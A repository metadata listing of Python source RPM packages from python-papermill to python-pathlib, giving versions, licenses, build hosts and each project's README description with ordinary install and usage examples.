# packages

pkgId: 87d8a9b572ea28890ffbcd1629ed427bad23ab27dec0e3295ffb987e2c4dd5c6
name: python-papermill
arch: src
version: 2.4.0
epoch: 0
release: 1
summary: Parametrize and run Jupyter and nteract Notebooks
url: https://github.com/nteract/papermill
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-13273cfc-430b-4548-8ce2-c6b7ed499f5a
location_href: 00010093-python-papermill/python-papermill-2.4.0-1.src.rpm
checksum_type: sha256
description:
  <!---(binder links generated at https://mybinder.readthedocs.io/en/latest/howto/badges.html and compressed at https://tinyurl.com) -->
  [![CI](https://github.com/nteract/papermill/actions/workflows/ci.yml/badge.svg)](https://github.com/nteract/papermill/actions/workflows/ci.yml)
  [![CI](https://github.com/nteract/papermill/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/nteract/papermill/actions/workflows/ci.yml)
  [![image](https://codecov.io/github/nteract/papermill/coverage.svg?branch=main)](https://codecov.io/github/nteract/papermill?branch=main)
  [![Documentation Status](https://readthedocs.org/projects/papermill/badge/?version=latest)](http://papermill.readthedocs.io/en/latest/?badge=latest)
  [![badge](https://tinyurl.com/ybwovtw2)](https://mybinder.org/v2/gh/nteract/papermill/main?filepath=binder%2Fprocess_highlight_dates.ipynb)
  [![badge](https://tinyurl.com/y7uz2eh9)](https://mybinder.org/v2/gh/nteract/papermill/main?)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/papermill)](https://pypi.org/project/papermill/)
  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/ambv/black)
  [![papermill](https://snyk.io/advisor/python/papermill/badge.svg)](https://snyk.io/advisor/python/papermill)
  [![Anaconda-Server Badge](https://anaconda.org/conda-forge/papermill/badges/downloads.svg)](https://anaconda.org/conda-forge/papermill)
  **papermill** is a tool for parameterizing, executing, and analyzing
  Jupyter Notebooks.
  Papermill lets you:
  -   **parameterize** notebooks
  -   **execute** notebooks
  This opens up new opportunities for how notebooks can be used. For
  example:
  -   Perhaps you have a financial report that you wish to run with
      different values on the first or last day of a month or at the
      beginning or end of the year, **using parameters** makes this task
      easier.
  -   Do you want to run a notebook and depending on its results, choose a
      particular notebook to run next? You can now programmatically
      **execute a workflow** without having to copy and paste from
      notebook to notebook manually.
  Papermill takes an *opinionated* approach to notebook parameterization and
  execution based on our experiences using notebooks at scale in data
  pipelines.

  From the command line:
  ``` {.sourceCode .bash}
  pip install papermill
  ```
  For all optional io dependencies, you can specify individual bundles
  like `s3`, or `azure` -- or use `all`. To use Black to format parameters you can add as an extra requires ['black'].
  ``` {.sourceCode .bash}
  pip install papermill[all]
  ```

  This library currently supports Python 3.7+ versions. As minor Python
  versions are officially sunset by the Python org papermill will similarly
  drop support in the future.


  To parameterize your notebook designate a cell with the tag ``parameters``.
  ![enable parameters in Jupyter](docs/img/enable_parameters.gif)
  Papermill looks for the ``parameters`` cell and treats this cell as defaults for the parameters passed in at execution time. Papermill will add a new cell tagged with ``injected-parameters`` with input parameters in order to overwrite the values in ``parameters``. If no cell is tagged with ``parameters`` the injected cell will be inserted at the top of the notebook.
  Additionally, if you rerun notebooks through papermill and it will reuse the ``injected-parameters`` cell from the prior run. In this case Papermill will replace the old ``injected-parameters`` cell with the new run's inputs.
  ![image](docs/img/parameters.png)

  The two ways to execute the notebook with parameters are: (1) through
  the Python API and (2) through the command line interface.

  ``` {.sourceCode .python}
  import papermill as pm
  pm.execute_notebook(
     'path/to/input.ipynb',
     'path/to/output.ipynb',
     parameters = dict(alpha=0.6, ratio=0.1)
  )
  ```

  Here's an example of a local notebook being executed and output to an
  Amazon S3 account:
  ``` {.sourceCode .bash}
  $ papermill local/input.ipynb s3://bkt/output.ipynb -p alpha 0.6 -p l1_ratio 0.1
  ```
  **NOTE:**
  If you use multiple AWS accounts, and you have [properly configured your AWS  credentials](https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html), then you can specify which account to use by setting the `AWS_PROFILE` environment variable at the command-line. For example:
  ``` {.sourceCode .bash}
  $ AWS_PROFILE=dev_account papermill local/input.ipynb s3://bkt/output.ipynb -p alpha 0.6 -p l1_ratio 0.1
  ```
  In the above example, two parameters are set: ``alpha`` and ``l1_ratio`` using ``-p`` (``--parameters`` also works). Parameter values that look like booleans or numbers will be interpreted as such. Here are the different ways users may set parameters:
  ``` {.sourceCode .bash}
  $ papermill local/input.ipynb s3://bkt/output.ipynb -r version 1.0
  ```
  Using ``-r`` or ``--parameters_raw``, users can set parameters one by one. However, unlike ``-p``, the parameter will remain a string, even if it may be interpreted as a number or boolean.
  ``` {.sourceCode .bash}
  $ papermill local/input.ipynb s3://bkt/output.ipynb -f parameters.yaml
  ```
  Using ``-f`` or ``--parameters_file``, users can provide a YAML file from which parameter values should be read.
  ``` {.sourceCode .bash}
  $ papermill local/input.ipynb s3://bkt/output.ipynb -y "
  alpha: 0.6
  l1_ratio: 0.1"
  ```
  Using ``-y`` or ``--parameters_yaml``, users can directly provide a YAML string containing parameter values.
  ``` {.sourceCode .bash}
  $ papermill local/input.ipynb s3://bkt/output.ipynb -b YWxwaGE6IDAuNgpsMV9yYXRpbzogMC4xCg==
  ```
  Using ``-b`` or ``--parameters_base64``, users can provide a YAML string, base64-encoded, containing parameter values.
  When using YAML to pass arguments, through ``-y``, ``-b`` or ``-f``, parameter values can be arrays or dictionaries:
  ``` {.sourceCode .bash}
  $ papermill local/input.ipynb s3://bkt/output.ipynb -y "
  x:
      - 0.0
      - 1.0
      - 2.0
      - 3.0
  linear_function:
      slope: 3.0
      intercept: 1.0"
  ```

  Papermill supports the following name handlers for input and output paths during execution:
   * Local file system: `local`
   * HTTP, HTTPS protocol:  `http://, https://`
   * Amazon Web Services: [AWS S3](https://aws.amazon.com/s3/) `s3://`
   * Azure: [Azure DataLake Store](https://docs.microsoft.com/en-us/azure/data-lake-store/data-lake-store-overview), [Azure Blob Store](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview) `adl://, abs://`
   * Google Cloud: [Google Cloud Storage](https://cloud.google.com/storage/) `gs://`


pkgId: 0c440fcd6ceddc6db8e58aee28c35b51494e69c5d490856f477158738995cf1f
name: python-paperwork
arch: src
version: 2.1.2
epoch: 0
release: 1
summary: Using scanner and OCR to grep dead trees the easy way
url: https://gitlab.gnome.org/World/OpenPaperwork/paperwork
rpm_license: GPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f90ef7a4-e1a9-49e5-99bf-9897d3f95d86
location_href: 00004492-python-paperwork/python-paperwork-2.1.2-1.src.rpm
checksum_type: sha256
description:
  Paperwork is a tool to make papers searchable.

  The basic idea behind Paperwork is "scan & forget" : You should be able to
  just scan a new document and forget about it until the day you need it
  again.
  Let the machine do most of the work.

  Main features are:
  - Scan
  - Automatic orientation detection
  - OCR
  - Indexing
  - Document labels
  - Automatic guessing of the labels to apply on new documents
  - Search
  - Keyword suggestions
  - Quick edit of scans
  - PDF support


pkgId: 56feaca75323e8a870b2a342c32075dad72eadbf7547fa11ea501b93ebc29306
name: python-paperwork-backend
arch: src
version: 2.1.2
epoch: 0
release: 1
summary: Paperwork's backend
url: https://gitlab.gnome.org/World/OpenPaperwork/paperwork/tree/master/paperwork-backend
rpm_license: GPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-aa283e87-6f1b-4977-aa40-0d0a090eccbd
location_href: 00004493-python-paperwork-backend/python-paperwork-backend-2.1.2-1.src.rpm
checksum_type: sha256
description:
  Paperwork is a GUI to make papers searchable.

  This is the backend part of Paperwork. It manages:
  - The work directory / Access to the documents
  - Indexing
  - Searching
  - Suggestions
  - Import
  - Export

  There is no GUI here. The GUI is
  <https://gitlab.gnome.org/World/OpenPaperwork/paperwork>.


pkgId: 4724e8198148a30dbeed12e32c04c8b188d7dff73b6dba0bc522238c0f51fad5
name: python-param
arch: src
version: 1.13.0
epoch: 0
release: 1
summary: Make your Python code clearer and more reliable by declaring Parameters.
url: http://param.holoviz.org/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ac241970-8b1f-4650-81dd-e01b222bda99
location_href: 00010233-python-param/python-param-1.13.0-1.src.rpm
checksum_type: sha256
description:
  <img src="https://raw.githubusercontent.com/holoviz/param/main/doc/_static/logo_horizontal.png" width=250>

  |    |    |
  | --- | --- |
  | Build Status | [![Linux/MacOS/Windows Build Status](https://github.com/holoviz/param/workflows/pytest/badge.svg)](https://github.com/holoviz/param/actions/workflows/test.yml)
  | Coverage | [![codecov](https://codecov.io/gh/holoviz/param/branch/main/graph/badge.svg)](https://codecov.io/gh/holoviz/param) ||
  | Latest dev release | [![Github tag](https://img.shields.io/github/v/tag/holoviz/param.svg?label=tag&colorB=11ccbb)](https://github.com/holoviz/param/tags) [![dev-site](https://img.shields.io/website-up-down-green-red/https/pyviz-dev.github.io/param.svg?label=dev%20website)](https://pyviz-dev.github.io/param/) |
  | Latest release | [![Github release](https://img.shields.io/github/release/holoviz/param.svg?label=tag&colorB=11ccbb)](https://github.com/holoviz/param/releases) [![PyPI version](https://img.shields.io/pypi/v/param.svg?colorB=cc77dd)](https://pypi.python.org/pypi/param) [![param version](https://img.shields.io/conda/v/pyviz/param.svg?colorB=4488ff&style=flat)](https://anaconda.org/pyviz/param) [![conda-forge version](https://img.shields.io/conda/v/conda-forge/param.svg?label=conda%7Cconda-forge&colorB=4488ff)](https://anaconda.org/conda-forge/param) [![defaults version](https://img.shields.io/conda/v/anaconda/param.svg?label=conda%7Cdefaults&style=flat&colorB=4488ff)](https://anaconda.org/anaconda/param) |
  | Python | [![Python support](https://img.shields.io/pypi/pyversions/param.svg)](https://pypi.org/project/param/)
  | Docs | [![gh-pages](https://img.shields.io/github/last-commit/holoviz/param/gh-pages.svg)](https://github.com/holoviz/param/tree/gh-pages) [![site](https://img.shields.io/website-up-down-green-red/https/param.holoviz.org.svg)](https://param.holoviz.org) |
  | Binder | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/holoviz/param/main?labpath=examples) |
  | Support | [![Discourse](https://img.shields.io/discourse/status?server=https%3A%2F%2Fdiscourse.holoviz.org)](https://discourse.holoviz.org/) |

  Param is a library providing Parameters: Python attributes extended to have features such as type and range checking, dynamically generated values, documentation strings, default values, etc., each of which is inherited from parent classes if not specified in a subclass.

  Param contains only two required Python files, with no external dependencies, and is provided freely for both non-commercial and commercial use under a BSD license, so that it can easily be included as part of other projects.

  Please see [param's website](https://param.holoviz.org) for official releases, installation instructions, documentation, and examples.


pkgId: b5d28646ed8aa7cd54329dca834898eac223c21c0485c00a8977fba0c293cd72
name: python-paramiko
arch: src
version: 3.1.0
epoch: 0
release: 1
summary: SSH2 protocol library
url: https://paramiko.org
rpm_license: LGPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5d5706a6-d7d7-4bd5-a52b-77746a1810a3
location_href: 00009003-python-paramiko/python-paramiko-3.1.0-1.src.rpm
checksum_type: sha256
description:
  Paramiko is a pure-Python [#]_ (3.6+) implementation of the SSHv2 protocol
  [#]_, providing both client and server functionality. It provides the
  foundation for the high-level SSH library `Fabric <https://fabfile.org>`_,
  which is what we recommend you use for common client use-cases such as running
  remote shell commands or transferring files.
  Direct use of Paramiko itself is only intended for users who need
  advanced/low-level primitives or want to run an in-Python sshd.
  For installation information, changelogs, FAQs and similar, please visit `our
  main project website <https://paramiko.org>`_; for API details, see `the
  versioned docs <https://docs.paramiko.org>`_. Additionally, the project
  maintainer keeps a `roadmap <http://bitprophet.org/projects#roadmap>`_ on his
  personal site.
      Paramiko relies on `cryptography <https://cryptography.io>`_ for crypto
      functionality, which makes use of C and Rust extensions but has many
      precompiled options available. See `our installation page
      <https://www.paramiko.org/installing.html>`_ for details.
      SSH is defined in :rfc-reference:`4251`, :rfc-reference:`4252`,
      implementation of the protocol is the `OpenSSH project
      <http://openssh.org>`_.  Paramiko implements a large portion of the SSH
      feature set, but there are occasional gaps.


pkgId: ffd8c2a3e4c6cff47563cc53feab5538e238adf08a00a32435d57c58115e43bf
name: python-paramiko-ng
arch: src
version: 2.8.10
epoch: 0
release: 1
summary: SSH2 protocol library
url: https://github.com/ploxiln/paramiko-ng/
rpm_license: LGPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a161fe0f-ff12-4323-bd6d-36a4d2ac56e3
location_href: 00010726-python-paramiko-ng/python-paramiko-ng-2.8.10-1.src.rpm
checksum_type: sha256
description:
  *paramiko-ng* is a fork of `paramiko <https://pypi.org/project/paramiko/>`_
  for more active maintenance.

  For changes in releases of this fork, see https://github.com/ploxiln/paramiko-ng/releases

  This is a library for making SSH2 connections (client or server).
  Emphasis is on using SSH2 as an alternative to SSL for making secure
  connections between python scripts.  All major ciphers and hash methods
  are supported.  SFTP client and server mode are both supported too.

  Required packages:
      Cryptography

  The import name is still just ``paramiko``. Make sure the original *paramiko*
  is not installed before installing *paramiko-ng* - otherwise pip may report
  success even though *paramiko-ng* was not correctly installed.

  To install the development version::

      pip install -e git+https://github.com/ploxiln/paramiko-ng/#egg=paramiko-ng

  You can also install under the original "paramiko" pip-package-name,
  in order to satisfy requirements for other packages::

      PARAMIKO_REPLACE=1 pip install https://github.com/ploxiln/paramiko-ng/archive/2.7.4.tar.gz#egg=paramiko

  Replace "2.7.4" with the desired recent version, or for latest development version do::

      PARAMIKO_REPLACE=1 pip install git+https://github.com/ploxiln/paramiko-ng/#egg=paramiko


pkgId: 750aef84ec19272f029b9f0f1119d1f99e995523ca2eb9867f177d76882b4edf
name: python-parmap
arch: src
version: 1.6.0
epoch: 0
release: 1
summary: map and starmap implementations passing additional arguments and parallelizing if possible
url: https://github.com/zeehio/parmap
rpm_license: APACHE-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b38c6709-1779-48ee-bffc-70d132fbbbe3
location_href: 00011685-python-parmap/python-parmap-1.6.0-1.src.rpm
checksum_type: sha256
description:
  This small python module implements four functions: ``map`` and
  ``starmap``, and their async versions ``map_async`` and ``starmap_async``.


pkgId: fe624976def6bee74043e568acc8f9080ef1b6fb44fe01d23cdcd185eac61a05
name: python-parquet-metadata
arch: src
version: 0.0.1
epoch: 0
release: 1
summary: A tool to show metadata about a Parquet file
url: https://github.com/cldellow/parquet-metadata
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1f666ae6-056c-4645-9ebe-2ba2bec9b777
location_href: 00009999-python-parquet-metadata/python-parquet-metadata-0.0.1-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://travis-ci.org/cldellow/parquet-metadata.svg?branch=master)](https://travis-ci.org/cldellow/parquet-metadata)

  Dump metadata about a Parquet file. You may also be interested in [csv2parquet](https://github.com/cldellow/csv2parquet).

  ```
  sudo pip install parquet-metadata
  parquet-metadata parquet.file
  ```

  Sample output:

  ```
  file	created_by	parquet-cpp version 1.4.1-SNAPSHOT
  file	columns	9
  file	row_groups	1
  file	rows	2
  row_group	0		size	634
  row_group	0		rows	2
  row_group	0		columns	9
  row_group	0	bool	type	BOOLEAN
  row_group	0	bool	num_values	2
  row_group	0	bool	compression	SNAPPY
  row_group	0	bool	encodings	PLAIN,RLE
  row_group	0	bool	compressed_size	36
  row_group	0	bool	uncompressed_size	34
  row_group	0	bool	stats:min	False
  row_group	0	bool	stats:max	True
  row_group	0	float32	type	FLOAT
  row_group	0	float32	num_values	2
  row_group	0	float32	compression	SNAPPY
  row_group	0	float32	encodings	PLAIN_DICTIONARY,PLAIN,RLE
  row_group	0	float32	compressed_size	68
  row_group	0	float32	uncompressed_size	64
  row_group	0	float32	stats:min	0.5
  row_group	0	float32	stats:max	0.6
  [...]
  ```


pkgId: 9fe4311a143596c55f95691ad095b5e7abb8a90a0012979d8572ec2eea50ee8f
name: python-parse
arch: src
version: 1.19.0
epoch: 0
release: 1
summary: parse() is the opposite of format()
url: https://github.com/r1chardj0n3s/parse
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-58c30749-1aed-47ca-8c37-16d6ae9429f9
location_href: 00009387-python-parse/python-parse-1.19.0-1.src.rpm
checksum_type: sha256
description:
  A basic version of the `Format String Syntax`_ is supported with anonymous
  (fixed-position), named and formatted fields::
     {[field name]:[format spec]}
  Field names must be a valid Python identifiers, including dotted names;
  element indexes imply dictionaries (see below for example).
  Numbered fields are also not supported: the result of parsing will include
  the parsed fields in the order they are parsed.
  The conversion of fields to types other than strings is done based on the
  type in the format specification, which mirrors the ``format()`` behaviour.
  There are no "!" field conversions like ``format()`` has.
  Some simple parse() format string examples:
      >>> parse("Bring me a {}", "Bring me a shrubbery")
      <Result ('shrubbery',) {}>
      >>> r = parse("The {} who {} {}", "The knights who say Ni!")
      >>> print(r)
      <Result ('knights', 'say', 'Ni!') {}>
      >>> print(r.fixed)
      ('knights', 'say', 'Ni!')
      >>> print(r[0])
      knights
      >>> print(r[1:])
      ('say', 'Ni!')
      >>> r = parse("Bring out the holy {item}", "Bring out the holy hand grenade")
      >>> print(r)
      <Result () {'item': 'hand grenade'}>
      >>> print(r.named)
      {'item': 'hand grenade'}
      >>> print(r['item'])
      hand grenade
      >>> 'item' in r
      True
  Note that `in` only works if you have named fields.
  Dotted names and indexes are possible with some limits. Only word identifiers
  are supported (ie. no numeric indexes) and the application must make additional
  sense of the result:
      >>> r = parse("Mmm, {food.type}, I love it!", "Mmm, spam, I love it!")
      >>> print(r)
      <Result () {'food.type': 'spam'}>
      >>> print(r.named)
      {'food.type': 'spam'}
      >>> print(r['food.type'])
      spam
      >>> r = parse("My quest is {quest[name]}", "My quest is to seek the holy grail!")
      >>> print(r)
      <Result () {'quest': {'name': 'to seek the holy grail!'}}>
      >>> print(r['quest'])
      {'name': 'to seek the holy grail!'}
      >>> print(r['quest']['name'])
      to seek the holy grail!
  If the text you're matching has braces in it you can match those by including
  a double-brace ``{{`` or ``}}`` in your format string, just like format() does.


pkgId: 6427c39fc3fceac634226acf6971c6cb9c5d338af5e8aa379fbda584bd302f59
name: python-parse-torrent-name
arch: src
version: 1.1.1
epoch: 0
release: 1
summary: Extract media information from torrent-like filename
url: https://github.com/divijbindlish/parse-torrent-name
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-06956ff3-087d-4537-8fd9-1a15377d5a1d
location_href: 00010665-python-parse-torrent-name/python-parse-torrent-name-1.1.1-1.src.rpm
checksum_type: sha256
description:
  > Extract media information from torrent-like filename

  ![Python versions](https://img.shields.io/badge/Python-2.7%2C%203.3-brightgreen.svg?style=flat-square)

  A python port of [Jānis](https://github.com/jzjzjzj)' awesome
  [library](http  s://github.com/jzjzjzj/parse-torrent-name) written in
  javascript.

  Extract all possible media information present in filenames. Multiple regex
  rules are applied on filename string each of which extracts correponding
  information from the filename. If a regex rule matches, the corresponding part
  is removed from the filename. In the end, the remaining part is taken as the
  title of the content.



  Online APIs by providers like
  [TMDb](https://www.themoviedb.org/documentation/api),
  [TVDb](http://thetvdb.com/wiki/index.php?title=Programmers_API) and
  [OMDb](http://www.omdbapi.com/) don't react to well to search
  queries which include any kind of extra information. To get proper results from
  these APIs, only the title of the content should be provided as the search
  query where this library comes into play. The accuracy of the results can be
  improved by passing in the year which can also be extracted using this library.



  ```py
  import PTN

  info = PTN.parse('A freakishly cool movie or TV episode')

  print info # All details that were parsed
  ```

  PTN works well for both movies and TV episodes. All meaningful information is
  extracted and returned together in a dictionary. The text which could not be
  parsed is returned in the `excess` field.



  ```py
  PTN.parse('San Andreas 2015 720p WEB-DL x264 AAC-JYK')










  PTN.parse('The Martian 2015 540p HDRip KORSUB x264 AAC2 0-FGT')










  ```



  ```py
  PTN.parse('Mr Robot S01E05 HDTV x264-KILLERS[ettv]')









  PTN.parse('friends.s02e01.720p.bluray-sujaidr')








  ```



  PTN does not gaurantee the fields `group`, `excess` and `episodeName` as these
  fields might be interchanged with each other. This shoudn't affect most
  applications since episode name can be fetched from an online database
  after getting the season and episode number correctly.



  * audio
  * codec
  * container
  * episode
  * episodeName
  * excess
  * extended
  * garbage
  * group
  * hardcoded
  * language
  * proper
  * quality
  * region
  * repack
  * resolution
  * season
  * title
  * website
  * widescreen
  * year





  PTN can be installed automatically using `easy_install` or `pip`.

  ```sh
  $ easy_install parse-torrent-name
  ```

  OR

  ```sh
  $ pip install parse-torrent-name
  ```

  Note that these commands might require `sudo` permission depending on whether
  a virtual environment is used or not.



  First clone the repository.

  ```sh
  $ git clone https://github.com/divijbindlish/parse-torrent-name PTN && cd PTN
  ```

  And run the command for installing the package.

  ```sh
  $ python setup.py install
  ```



  Take a look at the open
  [issues](https://github.com/jzjzjzj/parse-torrent-name/issues) on the original
  project and submit a PR!



  MIT © [Divij Bindlish](http://divijbindlish.in)


pkgId: 5024028a437891327659970b137715fdc00c01da2850cee1d32e96420ad683b7
name: python-parsedatetime
arch: src
version: 2.6
epoch: 0
release: 1
summary: Parse human-readable date/time text.
url: https://github.com/bear/parsedatetime
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-92fcd94a-1385-4506-a243-71f16c6e3a30
location_href: 00004495-python-parsedatetime/python-parsedatetime-2.6-1.src.rpm
checksum_type: sha256
description:
  Parse human-readable date/time strings.
  Python 2.6 or greater is required for parsedatetime version 1.0 or greater.


pkgId: d13df27710a136bfe63333e7b4c0aa86ae2d1750193fee1d85864c52722dd365
name: python-parso
arch: src
version: 0.8.3
epoch: 0
release: 1
summary: A Python Parser
url: https://github.com/davidhalter/parso
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6661a5da-0bd6-4a02-b8c9-e27f8dc59a72
location_href: 00004498-python-parso/python-parso-0.8.3-1.src.rpm
checksum_type: sha256
description:
  - `Testing <https://parso.readthedocs.io/en/latest/docs/development.html#testing>`_
  - `PyPI <https://pypi.python.org/pypi/parso>`_
  - `Docs <https://parso.readthedocs.org/en/latest/>`_
  - Uses `semantic versioning <https://semver.org/>`_


pkgId: befa98958236e0e4ca08a8cccd33c618062c9043631d93ef1e3bd0dc8d5507fb
name: python-parsy
arch: src
version: 2.1
epoch: 0
release: 1
summary: Easy-to-use parser combinators, for parsing in pure Python
url: https://github.com/python-parsy/parsy
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e4b0837f-015c-4c7d-87e2-ca252e0ed4fc
location_href: 00011500-python-parsy/python-parsy-2.1-1.src.rpm
checksum_type: sha256
description:
  |Documentation Status| |Build Status| |Codecov| |Downloads|
  Parsy is an easy and elegant way to parse text in Python by combining small
  parsers into complex, larger parsers. If it means anything to you, it's a
  monadic parser combinator library for LL(infinity) grammars in the spirit of
  `Parsec <https://github.com/haskell/parsec>`_, `Parsnip
  <http://parsnip-parser.sourceforge.net/>`_, and `Parsimmon
  <https://github.com/jneen/parsimmon>`_. But don't worry, it has really good
  documentation and it doesn't say things like that!
  Parsy requires Python 3.7 or greater.
  For a good example of the kind of clear, declarative code you can create using
  parsy, see the `SQL SELECT statement example
  <https://parsy.readthedocs.io/en/latest/howto/other_examples.html#sql-select-statement-parser>`_
  or `JSON parser
  <https://parsy.readthedocs.io/en/latest/howto/other_examples.html#json-parser>`_.
  Links:
  - `Documentation <http://parsy.readthedocs.io/en/latest/>`_
  - `History and changelog <http://parsy.readthedocs.io/en/latest/history.html>`_
  - `PyPI <https://pypi.python.org/pypi/parsy/>`_
  To contribute, please create a fork and submit a pull request on GitHub, after
  checking the `contributing
  <https://parsy.readthedocs.io/en/latest/contributing.html>`_ section of the
  docs. Thanks!
  If you like parsy and think it should be better known, you could:
  * Star this project on GitHub.
  * `Vote <https://github.com/vinta/awesome-python/pull/993>`_ for it being included on awesome-python.
  Parsy was originally written by `Jeanine Adkisson <https://github.com/jneen>`_,
  with contributions by other people as can be found in the git commit history.


pkgId: d410117ff278e09f7ec767a69b62f263835eb9e27b471437d093fa709396a78d
name: python-partd
arch: src
version: 1.3.0
epoch: 0
release: 1
summary: Appendable key-value storage
url: http://github.com/dask/partd/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-bda84739-0a56-4ff9-bb5f-16c2b356975e
location_href: 00004499-python-partd/python-partd-1.3.0-1.src.rpm
checksum_type: sha256
description:
  |Build Status| |Version Status|
  Key-value byte store with appendable values
      Partd stores key-value pairs.
      Values are raw bytes.
      We append on old values.
  Partd excels at shuffling operations.


pkgId: 71c0a788919377c2a496f1ddecc7ce8574e79644ef816f53c34fc7a1f88eeeb9
name: python-passlib
arch: src
version: 1.7.4
epoch: 0
release: 1
summary: comprehensive password hashing framework supporting over 30 schemes
url: https://passlib.readthedocs.io
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e4887af8-a560-4049-b81a-bd4a876360a3
location_href: 00009359-python-passlib/python-passlib-1.7.4-1.src.rpm
checksum_type: sha256
description:
  Passlib is a password hashing library for Python 2 & 3, which provides
  cross-platform implementations of over 30 password hashing algorithms, as well
  as a framework for managing existing password hashes. It's designed to be useful
  for a wide range of tasks, from verifying a hash found in /etc/shadow, to
  providing full-strength password hashing for multi-user applications.

  * See the `documentation <https://passlib.readthedocs.io>`_
    for details, installation instructions, and examples.

  * See the `homepage <https://foss.heptapod.net/python-libs/passlib/wikis/home>`_
    for the latest news and more information.

  * See the `changelog <https://passlib.readthedocs.io/en/stable/history>`_
    for a description of what's new in Passlib.

  All releases are signed with the gpg key
  `4D8592DF4CE1ED31 <http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x4D8592DF4CE1ED31>`_.


pkgId: 6eac71e0372c2cc8446d240623af3091d79c7e2825d30d981e86e5838e39ad77
name: python-pastel
arch: src
version: 0.2.1
epoch: 0
release: 1
summary: Bring colors to your terminal.
url: https://github.com/sdispater/pastel
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a7668159-8651-4b31-b698-e041d50afb48
location_href: 00004503-python-pastel/python-pastel-0.2.1-1.src.rpm
checksum_type: sha256
description:
  * Use predefined styles or add you own.
  * Disable colors all together by calling ``with_colors(False)``.
  * Automatically disables colors if the output is not a TTY.
  * Used in `cleo <https://github.com/sdispater/cleo>`_.
  * Supports Python **2.7+**, **3.5+** and **PyPy**.


pkgId: 0e3369f028ec97d7c74985b2b870ed78c536802b85bd4f678803a8e18bd288a5
name: python-patch-ng
arch: src
version: 1.17.4
epoch: 0
release: 1
summary: Library to parse and apply unified diffs.
url: https://github.com/conan-io/python-patch
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d993461d-5c14-411c-b9b3-b1d375d4aa3e
location_href: 00004504-python-patch-ng/python-patch-ng-1.17.4-1.src.rpm
checksum_type: sha256
description:
  [![Build Status Travis CI](https://travis-ci.org/conan-io/python-patch-ng.svg?branch=master)](https://travis-ci.org/conan-io/python-patch-ng)
  [![Build status Appveyor](https://ci.appveyor.com/api/projects/status/i4r6lf62slvx82db?svg=true)](https://ci.appveyor.com/project/ConanCIintegration/python-patch-ng)
  [![PyPI](https://img.shields.io/pypi/v/patch-ng)](https://pypi.python.org/pypi/patch-ng)







  This project is a fork from the original [python-patch](https://github.com/techtonik/python-patch) project.

  As any other project, bugs are common during the development process, the combination of issues + pull requests are
  able to keep the constant improvement of a project. However, both community and author need to be aligned. When users,
  developers, the community, needs a fix which are important for their projects, but there is no answer from the author,
  or the time for response is not enough, then the most plausible way is forking and continuing a parallel development.

  That's way we forked the original and accepted most of PRs waiting for review since jun/2019 (5 months from now).



   * Python 2 and 3 compatible
   * Automatic correction of
     * Linefeeds according to patched file
     * Diffs broken by stripping trailing whitespace
     * a/ and b/ prefixes
   * Single file, which is a command line tool and a library
   * No dependencies outside Python stdlib
   * Patch format detection (SVN, HG, GIT)
   * Nice diffstat histogram
   * Linux / Windows / OS X
   * Test coverage

  Things that don't work out of the box:

   * File renaming, creation and removal
   * Directory tree operations
   * Version control specific properties
   * Non-unified diff formats




  Download **patch_ng.py** and run it with Python. It is a self-contained
  module without external dependencies.

      patch_ng.py diff.patch

  You can also run the .zip file.

      python patch-ng-1.17.zip diff.patch



  **patch_ng.py** is self sufficient. You can copy it into your repository
  and use it from here. This setup will always be repeatable. But if
  you need to add `patch` module as a dependency, make sure to use strict
  specifiers to avoid hitting an API break when version 2 is released:

      pip install "patch-ng"




  * [CHANGES](doc/CHANGES.md)
  * [LICENSE: MIT](LICENSE)
  * [CREDITS](doc/CREDITS)


pkgId: 7da31d0f6113336526b5ae3cecbb849f849737674c16ae68ef1ecad10d9b566a
name: python-pathlib
arch: src
version: 1.0.1
epoch: 0
release: 1
summary: Object-oriented filesystem paths
url: https://pathlib.readthedocs.org/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8db92e3d-9c9b-421d-ae15-aac61447cfcc
location_href: 00009369-python-pathlib/python-pathlib-1.0.1-1.src.rpm
checksum_type: sha256
description:
